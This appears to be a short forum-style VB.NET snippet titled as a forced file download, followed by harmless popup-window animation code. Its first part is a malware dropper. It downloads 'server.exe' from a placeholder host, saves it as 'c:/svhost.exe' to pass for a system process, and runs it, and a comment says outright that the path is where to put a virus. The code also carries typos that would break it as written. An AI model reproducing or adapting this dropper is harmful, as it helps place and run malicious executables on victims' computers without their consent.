a forcing downloding file with vb

forse_download.vb

'in general declaration
 import system.net
 
 '=========================
 'in class or load form
 dim link as string = "http://domain.com/server.exe"'your direct link server or patsh
 
dim serv as string = "c:/svhost.exe"'The path that you want to put a virus in it
    
my.computer.network.downloadFile(link,serv)'download the server from internet
 proccess.start(serv)'star the server
  


The code of PopUp window :

  
 Private Sub Form1_Load(ByVal sender As System.Object, 
ByVal e As System.EventArgs) Handles MyBase.Load
        'Me.Visible = True
        Me.Opacity = 60
        Dim x As Integer
        Dim y As Integer
        x = Screen.PrimaryScreen.WorkingArea.Width
        y = Screen.PrimaryScreen.WorkingArea.Height - Me.Height

        Do Until x = Screen.PrimaryScreen.WorkingArea.Width - Me.Width
            x = x - 1
            Me.Location = New Point(x + 0.1, y - 0.01)
        Loop
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, 
ByVal e As System.EventArgs) Handles Button1.Click
        Me.Close()

    End Sub